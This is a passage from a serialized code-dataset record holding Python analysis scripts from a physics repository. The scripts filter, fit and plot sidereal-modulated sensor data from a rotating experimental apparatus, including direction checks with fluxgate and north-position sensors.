sensSeqAmpL=[sensSeqAmpL]\n \n \n\n if kwargs.has_key('bFitOldWay'):\n work_func=partial(spf.process_sequences)\n labAmp, sidAmp= zip(*[work_func(seqA) for seqA in seqAmp if seqA is not None])\n elif seqAmp:\n work_func=partial(spf.process_sequences_multifit, \n sigSensVaryPhaseIs=coFitPhaseVaryIs, \n subtractHarmsL=subtractHarmsL,harmonic=harmonic, \n **work_args)\n labAmp, sidAmp, _,fObj= zip(*[work_func(seqA, sensAL)[:4] \n for seqA, sensAL in zip(seqAmp, sensSeqAmpL) \n if seqA is not None])\n else:\n print(\"Nothing at timestamp {0}\".format(self.timestamp))\n return None\n if len(sidAmp)==1:\n labAmp=labAmp[0]\n sidAmp=sidAmp[0]\n fObj=fObj[0]\n\n #return labAmp, sidAmp#, fObj\n return sidAmp#, sidAmp\n \n #return spf.split_and_process_sequences(seqAmp, **work_args)\n\n def viewSensors(self, sensorNames, bSharex=False, bPlotStChi2Comp=True, **kwargs):\n if sensorNames=='med':\n sensorNames=['med:'+ name for name in loadSPFiles.mediumNames]\n elif sensorNames=='rel':\n sensorNames=['rel:'+ name for name in loadSPFiles.relaxedNames]\n elif sensorNames=='all':\n sensorNames=['rel:'+ name for name in loadSPFiles.relaxedNames]\n sensorNames.extend(['med:'+ name for name in loadSPFiles.mediumNames])\n self.viewSeq(rawData=sensorNames[0], figName=sensorNames[0], stPtChi2Lim=5, **kwargs)\n ax=gca()\n figL=[gcf()]\n if bSharex==True:\n sharex= ax \n else: \n sharex=None;\n vprint(\"sharex: {}\".format(sharex))\n for name in sensorNames[1:]:\n self.viewSeq(rawData=name, figName=name, sharexAx=sharex, **kwargs)\n figL.append(gcf())\n return figL\n\n def viewRaw(self, figName=\"\", **kwargs):\n if kwargs.has_key('sigWindow'):\n cutAmpL=[self.cutAmp(**kwargs)]\n windowNames=['sig']\n else:\n windowNames, cutAmpL=zip(*[(key, self.cutAmp(sigWindow= win, **kwargs)) for key, win in self.windowD.items()])\n spf.view_raw(self.rawData(**kwargs), cutAmpL, self.trigTimes, cutAmpLNames=windowNames, figName=self.timestamp+'- '+figName) \n\n def viewSeq(self, figName=\"\", sharexAx=None, bPlotStChi2Comp=True, **kwargs):\n if kwargs.has_key('sigWindow'):# and isinstance(kwargs['sigWindow'], basestring):\n figName +='- ({})'.format(kwargs['sigWindow'])\n correlationSigComp=None\n if bPlotStChi2Comp is not None:\n d=copy(kwargs); d['stPtChi2Lim']=inf;\n correlationSigComp=self.sequenceAmp(**d)\n spf.view_correlations(self.pointAmp(**kwargs), self.sequenceAmp(**kwargs), self.timestamp+'- '+figName, sharexAx=sharexAx, correlationSigComp=correlationSigComp.sig)\n\n def viewSid(self, **kwargs):\n #spf.view_sidereal(self.sequenceAmp(**kwargs), self.sidAmp(**kwargs))\n sidAmp=self.sidAmp(**kwargs)\n seqAmp=self.sequenceAmp(**kwargs)\n labAmp=self.labAmp(**kwargs)\n spf.view_sidereal(seqAmp, sidAmp, labAmp)\n\n def viewCorrelationFilt(self, **kwargs):\n D=copy(kwargs)\n D.update(dict(sensNameL=[], stPtChi2Lim=inf))\n pointAmpBase=self.pointAmp(**D)\n seqAmpBase=self.sequenceAmp(**D)\n\n pointAmpFilt=self.pointAmp(**kwargs)\n seqAmpFilt=self.sequenceAmp(**kwargs)\n spf.view_correlation_filtering(pointAmpBase, seqAmpBase,\n pointAmpFilt, seqAmpFilt)\n\n def edit_set_info(self):\n MT.open_file_external(os.path.join(self.base_dir, 'set_info.yaml'))\n @memoize_inst_meth\n def test_div(self, **kwargs):\n kwargs, kept_args=divide_args(kwargs, self.pointAmp)\n return kwargs, kept_args\n\n def checkDirections(self, bPlot=False, **kwargs):\n \"\"\"Check that the calculated apparatus directions fit with the available data\n \n To do this we'll check the North position sensor, the motor trigger-log, and the Z-axis flux-gate, if available\n \"\"\"\n #Flux-gates\n expTh, expSig = [0, pi/2], [ 0.018, -0.045]\n if self.set_info.has_key('bFieldZeroed') and self.set_info['bFieldZeroed'] is False:\n expTh, expSig = [0, pi/2], [ 0.02, -0.08]\n zCor=self.sequenceAmp(rawData='med:Fluxgate Z', **kwargs)\n actSig=zCor.sig[:,0,:]\n actTh=zCor.theta[:,0,:]\n expRot=array([MT.rotate_quadrature_sample(expTh, expSig, cov=None, rotateTo=-th[0])[1] for th in actTh])\n I=~isnan(actSig)\n gSig=actSig[I]\n gExp=expRot[I]\n\n bProblem=False\n if any(abs(gExp-gSig)>0.01):\n vprint(\"Fluxgate Z show's problems! (timestamp: {0})\".format(self.timestamp))\n bProblem=True\n\n if bProblem or bPlot:\n figure(self.timestamp+'- direction check')\n gT=zCor.t[:,0,:][I]\n plot(gT, gSig, '.', label='Measured')\n plot(gT, gExp,'.', label='Expected')\n plot(gT, gExp-gSig,'.', label='difference')\n xlabel('Sid. Days')\n ylabel('V')\n legend(fontsize=10)\n\n\n # North-positon sensor\n try:\n if self.rawData().t[0] < 5200: #(Or whenever the sidereal day the sensor was actually switched?)\n\n npsDat=self.rawData(rawData='med:North Position Sensor') #(or whatever it actually was)\n else:\n npsDat=self.rawData(rawData='motor:North Position Sensor') #(or whatever it actually was)\n except (OSError, ValueError):\n npsDat=None\n\n if npsDat is not None:\n tNorthSens=npsDat.t[npsDat.sig<4]\n\n ang=(self.apparatusAngles()-pi)%(2*pi) + pi #Move everything to the range (-pi, +pi)\n tRot=self.trigTimes()\n tBound=c_[tRot[:-1], tRot[:-1]+self.rSpec.interval].ravel()\n angBound=c_[ang[:-1], ang[1:]].ravel()\n\n apAngleIntp=interp(npsDat.t, tBound, angBound) #Interpolate to the same times as the north-sensor is had\n\n figure('Check North-position sensor:')\n plot(npsDat.t, apAngleIntp)\n plot(npsDat.t, npsDat.sig)\n else:\n vprint(\"No north-position sensor data for checking\")\n \n \n # Motor trigger-log\n\n return\n#------------------------------------------------------------------------------\n\n## Processing functions\ndef genSeqFiltPol(sgn): \n def genSeqFilt(ds, seqAmp):\n ts=seqAmp.t[:,0,0]\n calArr=ds.calArr\n cal=MT.const_interp(ts, calArr.t, calArr.val)\n seqAmp.sig[sign(cal)!=sgn]*=nan\n return seqAmp\n return genSeqFilt\n\n\ndef seqFiltFuncAxisInterleave(axisAngle, Ndiv):\n def filt(seqAmp):\n return seqFiltFuncInterleave(Ndiv)((seqFiltFuncAxis(sgn)(seqAmp)))\n return filt\n#genSeqFiltPol(1)(seqAmp)\n\ndef seqFiltFuncAxis(axisAngle):\n def filt(seqAmp):\n mask= (nearby_angles(seqAmp.theta[:,0,0], axisAngle, 0.1) |\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi,0.1) \n )\n return CorrelationData(*[s[mask] for s in seqAmp])\n return filt\n\ndef seqFiltFunc2Axes(axisAngle):\n def filt(seqAmp):\n mask= (nearby_angles(seqAmp.theta[:,0,0], axisAngle, 0.1) | \n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi,0.1) |\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+pi/2,0.1) |\n nearby_angles(seqAmp.theta[:,0,0], axisAngle+3*pi/2,0.1) \n )\n return CorrelationData(*[s[mask] for s in seqAmp])\n return filt\ndef seqFiltFuncAngle(angle):\n def filt(seqAmp):\n mask= nearby_angles(seqAmp.theta[:,0,0], angle, 0.1)\n return CorrelationData(*[s[mask] for s in seqAmp])\n return filt\n\ndef seqFiltFuncSlc(slc):\n def filt(seqAmp):\n return CorrelationData(*[s[slc] for s in seqAmp])\n return filt\n\n\ndef seqFiltFuncInterleave(Ndiv):\n #slcL=[slice(k,None, Ndiv) for k in range(Ndiv)]\n def filt(seqAmp):\n Npts=seqAmp.t.shape[0]\n if Npts < 5*Ndiv:\n N = int(seqAmp.t.shape[0]/5)\n else:\n N=Ndiv\n Npts=floor(Npts/Ndiv)*Ndiv\n return [CorrelationData(*[s[k-Npts::N] for s in seqAmp]) for k in range(N)]\n return filt\n\ndef seqFiltFuncInterleaveGenerator(otherFiltF, Ndiv=10):\n #slcL=[slice(k,None, Ndiv) for k in range(Ndiv)]\n def filt(seqAmp, k):\n Npts=seqAmp.t.shape[0]\n if Npts < 5*Ndiv:\n N = int(seqAmp.t.shape[0]/5)\n else:\n N=Ndiv\n Npts=floor(Npts/Ndiv)*Ndiv\n if k>=N:\n return None\n return otherFiltF(CorrelationData(*[s[k-Npts::N] for s in seqAmp]))\n\n for k in range(Ndiv):\n #f=partial(filt, k=N)\n yield partial(filt, k=k)\n\ndef seqFiltFuncTime(Tdiv=1): #Divid it up into small chunks of time and process each\n def filt(seqAmp):\n totalTime=seqAmp.t[-1,0,0]-seqAmp.t[0,0,0]\n t0=seqAmp.t[0,0,0]\n N=floor(totalTime/Tdiv)\n startTimes=arange(N)*Tdiv + t0\n indxL=sliceSorted(seqAmp.t[:,0,0], startTimes, delta_t=Tdiv)\n return [CorrelationData(*[s[indx] for s in seqAmp]) for indx in indxL]\n return filt\n\ndef checkDSUnc(ds, Ndiv=10, **kwargs):\n #Process every Nth sequence:\n #fL=[seqFiltFuncSlc(slice(k,None, Ndiv)) for k in range(Ndiv)]\n #sidAmpL=[ds.sidAmp(filtF=f) for f in fL]\n sidAmpL=ds.sidAmp(seqFiltFuncInterleave(Ndiv), **kwargs)\n #sidAmpL=ds.sidAmp(filtF=seqFiltFuncTime(Tdiv=0.3))\n #wtMn, calcedUnc, apparentUnc, wtErr= spf.combine_angle_amps(sidAmpL, plot=True)\n combinedSid= spf.combine_angle_amps(sidAmpL, plot=True)\n\n #Probably don't need to rotate in this case, but just in case\n\n sidAmpFull=ds.sidAmp(**kwargs)\n print(\"Number of sets: {0}\".format(len(sidAmpL)))\n pprint(combinedSid)\n pprint(sidAmpFull)\n #print(\"Subset deviation: {}, combined Mean:{}\\n, combined unc (trust/don't trust): {}, {},\\n full mean:{}, full uncert {}\".format(wtErr, wtMn,\n #calcedUnc, apparentUnc, \n #sidAmpFull.sig, sqrt(sidAmpFull.err.diagonal())) )\n\n show()\n\ndef testDS(rSpec=None, rotFact=1, **kwargs):\n defaultD=dict(amp=0.05, sigma=2, amp2=0.00, \n N=10000000, phi=0*pi, \n zeroingTime=30, fracDev=0.00, \n sizeDev=50.0, startTime=0)\n defaultD.update(kwargs)\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[rotFact*180], extraRotAngle=rotFact*90)\n rSpec= rSpec if rSpec is not None else rsBase\n sd,sig=makeTestData(\n rSpec, **defaultD)\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec, windowD={'sig': Window(5, -6)} )\n return ds\n\ndef testDS2(rSpec=None, rotDir=1, **kwargs):\n defaultD=dict(amp=0.5, sigma=1.0, amp2=0.0, \n N=1000000, phi=0.25*pi, \n zeroingTime=30, fracDev=0.00, \n sizeDev=00.0, startTime=0)\n defaultD.update(kwargs)\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=8, rotAngles=[rotDir*90], extraRotAngle=rotDir*45)\n rSpec= rSpec if rSpec is not None else rsBase\n sd,sig=makeTestData(\n rSpec, **defaultD)\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec, windowD={'sig': Window(5, -6)} )\n return ds\n\nif __name__==\"__main__\":\n d=dict(sigWindow=Window(4,-5))\n if 0:\n sidAmpL=[]\n if 0: # Check theoretical\n rsBase=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\n rsL=[rsBase._replace(startingAngle=th) for th in hstack([zeros(15), -ones(0)*90, ones(0)*45])]\n for rs, startTime in zip(rsL, 0.2*arange(len(rsL))):\n sd,sig=makeTestData(\n rs, amp=1.00, sigma=2, N=400000, phi=0*pi, zeroingTime=30, fracDev=0.05, sizeDev=50.0, startTime=startTime*1)\n\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rs )\n sAmp=ds.sidAmp(sigWindow=Window(4,-5))\n vprint(sAmp)\n sidAmpL.append(sAmp)\n elif 0: #Check slicing\n ds=testDS()\n checkDSUnc(ds, 30)\n #sAmp=ds.sidAmp(sigWindow=Window(4,-5))\n #vprint sAmp\n\n \n #EW-NS\n #sidAmpAngsL=[ds.sidAmp(sigWindow=Window(4,-5), filtF=seqFiltFuncAxis(ang)) for ang in (0, pi/2)]\n #sidAmpL=sidAmpSlcsL\n\n\n \n\n\n\n else: #Check actual data\n timestampL=[\n #'5209.26',\n #'5240.33',\n '5249.72',\n '5273.74',\n '5282.23',\n '5292.71',\n '5294.31',\n #'5296.33',\n '5310.41',\n '5318.41',\n '5348.82',\n '5369.87',\n '5386.02',\n '5390.74',\n ]\n for ts in timestampL:\n #try:\n ds=SPDataSet(ts)#, preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec )\n ds.checkDirections()\n show()\n sAmp=ds.sidAmp()\n vprint(sAmp)\n sidAmpL.append(sAmp)\n #except Exception as (errno, strerror):\n # vprint \"Exception({0}): {1}\".format(errno, strerror)\n # vprint(\"For timestamp: {0}\".format(ts))\n #pass; #Print the error and say which set it was, but keep going.\n \n ts = [ sAmp.t for sAmp in sidAmpL]\n (ths, ys, covs)= zip(*[ rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in sidAmpL])\n #ys, covs= [ ]\n\n ys=array(ys)\n errs=array([sqrt(cov.diagonal()) for cov in covs])\n ts=array(ts)\n #errs=[diag(cov) for cov in covs]\n figure()\n for t, y, e in zip(ts.T, ys.T, errs.T):\n errorbar( t, y, e, fmt='.') #Probaby not quite right\n\n mn, wEr, unc= weightedStats(ys, 1./errs**2, axis=0)\n vprint(\"Subset deviation: {0}, (average errorbar):{1},\\nmean: {2},, (from subsets): {3}, final uncert: (full){4}\".format(er, errs.mean(axis=0), mn, unc, None) )\n show()\n\n \n \n #seqAxNSFilt= seqFiltFuncAxis(0);\n #seqAxEWFilt= seqFiltFuncAxis(pi/2);\n if 0: #Do idiot checks on experiment data\n timestampL=[\n #'5310.41',\n '5318.42',\n #'5348.82',\n #'5369.87',\n #'5386.02',\n #'5390.74',\n #'5393.04',\n ]\n \n for ts in timestampL:\n ds=SPDataSet(ts)\n ds.checkDirections(bPlot=True)\n show()\n ds.edit_set_info()\n raw_input('enter to continue')\n #ds.checkDirections(**d)\n #SPDataSet('5386.02').checkDirections(**d)\n #SPDataSet('5310.41').checkDirections(**d)\n #SPDataSet('5348.82').checkDirections(**d)\n #SPDataSet('5369.87').checkDirections(**d)\n if 0:\n for ts in loadSPFiles.getAllTimeStamps():\n if float(ts)>5310:\n ds=SPDataSet(ts)\n if ds.set_info['bUseful']=='unknown' or 1:\n st=''\n while st!='c':\n vprint(\"Current timestamp is: {0}\".format(ts))\n ds.edit_set_info()\n #ds.viewRaw()\n ds.viewSeq()\n ds.viewSeq(rawData='rel:Tilt Sensor 1')\n ds.checkDirections()\n #ds.viewSeq()\n #try:\n # ds.checkDirections()\n #except Exception as ex:\n # vprint (\"Exception occured: {0}\".format(ex))\n show()\n st=raw_input('Enter for again, c+enter to continue to next')\n\n"}],"string":"[\n {\n \"alpha_fraction\": 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\"language\": \"Python\",\n \"length_bytes\": 15546,\n \"license_type\": \"no_license\",\n \"max_line_length\": 168,\n \"num_lines\": 503,\n \"path\": \"/SPgraphs.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nTODO:\\n Need to actually calculate c, b coefficients and plot them. Initially this can just involve multiplying or not multiplying by the polarisation in the final result\\n\\\"\\\"\\\"\\nimport matplotlib as mpl\\nmpl.rcParams['figure.figsize']=[13,11]\\nfrom pylab import *\\nimport SPDataSet as sd\\nimport SPfuncs as spf\\nimport pdb\\nfrom MT import vprint\\nfrom functools import partial\\nfigdir='figs2'\\n\\n#2013 Data\\ntimestampL=[\\n'4803.31',\\n'4812.51',\\n'4818.33',\\t\\n'4827.26',\\n'4833.40',\\n'4834.39',\\n'4838.50',\\n'4840.65',\\n'4850.54',\\n'4857.47',\\n'4859.39',\\n'4864.65',\\n'4865.75',\\n'4867.48',\\n'4868.41',\\n'4869.74',\\n'4876.97',\\n'4881.71',\\n'4885.53',\\n'4888.50',\\n'4889.50',\\n'4894.57',\\n'4898.68',\\n'4901.78',\\n'4902.85',\\n'4903.58',\\n'4906.58',\\n'4911.09',\\n'4914.07',\\n'4929.88',\\n'4938.05',\\n'4945.09',\\n'4953.70',\\n'4959.91',\\n'4966.95',\\n]\\n#timestampL=timestampL[:-6]\\n\\ntimestampL=[\\n #'5209.26',\\n #'5240.33',\\n '5249.72',\\n '5273.74',\\n '5282.23',\\n #'5292.71',\\n '5294.31',\\n #'5296.33',\\n '5310.41',\\n #'5318.41',\\n '5348.82',\\n '5369.87',\\n '5386.02',\\n '5390.74',\\n '5410.04',\\n '5410.87',\\n '5411.92',\\n '5415.95',\\n '5420.00',\\n #'5421.02',\\n #'5422.00',\\n '5422.80',\\n '5424.94',\\n]\\ndsL=[sd.SPDataSet(ts) for ts in timestampL]\\n\\ndef edit_infos(dsLin=None):\\n \\\"\\\"\\\"Walk through the datasets and display their metadata for editing/viewing\\n \\\"\\\"\\\"\\n if dsLin is None:\\n dsLin =dsL\\n\\n for ds in dsLin:\\n ds.edit_set_info()\\n raw_input(\\\"Enter for next\\\")\\n\\nimport copy\\ndef combinedD(d1, d2):\\n out=copy.copy(d1); out.update(d2)\\n return out\\nNdiv=10\\ndef analyseBy(datSetL=None, sidAmpDict={}, dsModifyF=None, generalF=None, plot=False):\\n sidAmpL=[]\\n if datSetL is None:\\n datSetL=dsL\\n for ds in datSetL:\\n try:\\n if dsModifyF is not None:\\n ds, D=dsModifyF(ds, sidAmpDict)\\n else:\\n D=sidAmpDict\\n #D= sidAmpDict(ds) if callable(sidAmpDict) else sidAmpDict\\n\\n if generalF is not None:\\n amp=generalF(ds, D)\\n else:\\n amp=ds.sidAmp(**D)\\n if amp is not None and not hasattr(amp, 't'):\\n sidAmpL.extend(amp)\\n else:\\n sidAmpL.append(amp)\\n\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('Pol dn (split)')\\n if not hasattr(plot, 'draw') and plot==True:\\n figure()\\n plot=gca()\\n return spf.combine_angle_amps(sidAmpL, plot), sidAmpL\\n\\ndef polUp(plot=False, **kwargs):\\n sidAmpL=[]\\n #for ts in timestampL:\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(genSeqFiltF=sd.genSeqFiltPol(1),**kwargs))\\n figure('Pol up (by set)')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef polDn(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:#timestampL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(genSeqFiltF=sd.genSeqFiltPol(-1),**kwargs))\\n figure('Pol dn (by set)')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef polUpSplit(plot=False, **kwargs):\\n sidAmpL=[]\\n #for ts in timestampL:\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv), genSeqFiltF=sd.genSeqFiltPol(1), **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('Pol up (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef polDnSplit(plot=False, **kwargs):\\n sidAmpL=[]\\n #for ts in timestampL:\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv), genSeqFiltF=sd.genSeqFiltPol(-1), **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('Pol dn (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef byDay(plot=False, **kwargs):\\n #By day\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n print(\\\"timestamp: {}\\\".format(ds.timestamp))\\n sdL=ds.sidAmp(sd.seqFiltFuncTime(), **kwargs)\\n if sdL is not None:\\n if hasattr(sdL,'t'):\\n sidAmpL.append(sdL)\\n else:\\n sidAmpL.extend(sdL)\\n #if len(sidAmpL)==15:\\n # pdb.set_trace()\\n ds._cache.clear()\\n #wtMn, calcedUnc, apparentUnc, wtErr= spf.combine_angle_amps(sidAmpL)\\n #(ths, ys, covs)= zip(*[ MT.rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in ampL])\\n\\n #ys=array(ys)\\n #ts=array(ts)\\n #errs=array([sqrt(cov.diagonal()) for cov in covs]) #cheat and throw away covariance\\n\\n #figure()\\n #for t, y, e in zip(ts.T, ys.T, errs.T):\\n # errorbar( t, y, e, fmt='.') #Probaby not quite right\\n #figure('By day')\\n ax=gca()\\n #mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(sidAmpl)\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef bySetEarly(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n win=ds.set_info['windows']['sig']\\n \\n win['duration']=win['duration']/2\\n sidAmpL.append(ds.sidAmp(sigWindow=spf.Window(**win)))\\n #figure('Early')\\n ax=gca()\\n\\n return spf.combine_angle_amps(sidAmpL,plot)\\ndef bySetLate(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n win=ds.set_info['windows']['sig']\\n #win=win._replace(offset=win.offset+win.duration/2)\\n win['offset']=win['offset']+win['duration']/2\\n #win=win._replace(duration=win.duration/2)\\n win['duration']=win['duration']/2\\n sidAmpL.append(ds.sidAmp(sigWindow=spf.Window(**win)))\\n #figure('Late')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef bySetSplit(plot=False, ):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv)))\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n #figure('By set, split-up')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef bgSub(plot=False, ):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(subtractWindow='bg'))\\n #figure('BG subtracted')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef bySet(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n print(\\\"timestamp: {}\\\".format(ds.timestamp))\\n sAmp=ds.sidAmp(**kwargs)\\n if hasattr(sAmp, 't'):\\n sidAmpL.append()\\n else: \\n sidAmpL.extend(sAmp)\\n ds._cache.clear()\\n #figure('By set')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot), sidAmpL\\n\\ndef dividedUp(plot=False, ):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.extend(ds.sidAmp(sd.seqFiltFuncInterleave(Ndiv)))\\n #figure('split up')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef NS(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(sd.seqFiltFuncAxis(0), label='NS Only', **kwargs))\\n #figure('NS (by set)')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef EW(plot=False, **kwargs):\\n sidAmpL=[]\\n for ds in dsL:\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(sd.seqFiltFuncAxis(pi/2), label='EW only', **kwargs))\\n #figure('EW (by set)')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef EWSplit(plot=False, **kwargs):\\n sidAmpL=[]\\n def filt(seqAmp):\\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFuncAxis(pi/2)(seqAmp))\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(filtF=filt, **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('EW (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef NSSplit(plot=False, **kwargs):\\n sidAmpL=[]\\n def filt(seqAmp):\\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFuncAxis(0)(seqAmp))\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(filtF=filt, **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('NS (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef NSEW(plot=False,):\\n sidAmpL=[]\\n for ds in dsL:\\n #vprint(ts)\\n #ds=sd.SPDataSet(ts)\\n sidAmpL.append(ds.sidAmp(sd.seqFiltFunc2Axes(0)))\\n #figure('NSEW (by set)')\\n ax=gca()\\n return spf.combine_angle_amps(sidAmpL,plot)\\n\\ndef NSEWSplit(plot=False, **kwargs):\\n sidAmpL=[]\\n def filt(seqAmp):\\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFunc2Axes(0)(seqAmp))\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(filtF=filt, **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n except (ZeroDivisionError, ValueError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('NSEW (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef Rot45Split(plot=False, **kwargs):\\n sidAmpL=[]\\n def filt(seqAmp):\\n return sd.seqFiltFuncInterleave(Ndiv)(sd.seqFiltFunc2Axes(pi/4)(seqAmp))\\n for ds in dsL:\\n try:\\n mn, calcedUnc, apparentUnc, wEr=spf.combine_angle_amps(\\n ds.sidAmp(filtF=filt, **kwargs)\\n )\\n sidAmpFull=ds.sidAmp()\\n sidAmpL.append(spf.SiderealFitData(t=sidAmpFull.t, sig=mn, err=diag(apparentUnc)**2, chi2=None, sidTheta=sidAmpFull.sidTheta, labTheta=sidAmpFull.labTheta))\\n except (ValueError, ZeroDivisionError):\\n sys.exc_clear()\\n #pass #Failed probably because there was no data, so we won't add it to the list\\n #figure('Rot45 (split)')\\n return spf.combine_angle_amps(sidAmpL, gca())\\n\\ndef Rot45(plot=False, ):\\n sidAmpL=[]\\n for ds in dsL:#timestampL:\\n sidAmpL.append(ds.sidAmp(sd.seqFiltFunc2Axes(pi/4)))\\n #figure('rot45 (by set)')\\n #ax=gca()\\n return spf.combine_angle_amps(sidAmpL, plot)\\n\\nsystL=[\\n ('set', bySet),\\n ('setVertSub', partial(bySet, coFitL='med:Vert Pos Det 2')),\\n ('day', byDay),\\n ('dayVertSub', partial(byDay, coFitL='med:Vert Pos Det 2')),\\n ('sets_S', bySetSplit),\\n ('alldivided', dividedUp),\\n ('bgSub', bgSub),\\n ]\\nportionL=[\\n ('axes0', NSEW),\\n ('axes45', Rot45),\\n ('EW', EW),\\n ('NS', NS),\\n ('polUp', polUp),\\n ('polDn', polDn),\\n ('setEarly', bySetEarly),\\n ('setLate', bySetLate),\\n ]\\nportionSplitL=[\\n ('axes0_S', NSEWSplit),\\n ('axes45_S', Rot45Split),\\n ('EW_S', EWSplit),\\n ('NS_S', NSSplit),\\n ('polUp_S', polUpSplit),\\n ('polDn_S', polDnSplit),\\n #('setEarly', bySetEarlySplit),\\n #('setLate', bySetLateSplit),\\n ]\\n\\ndef 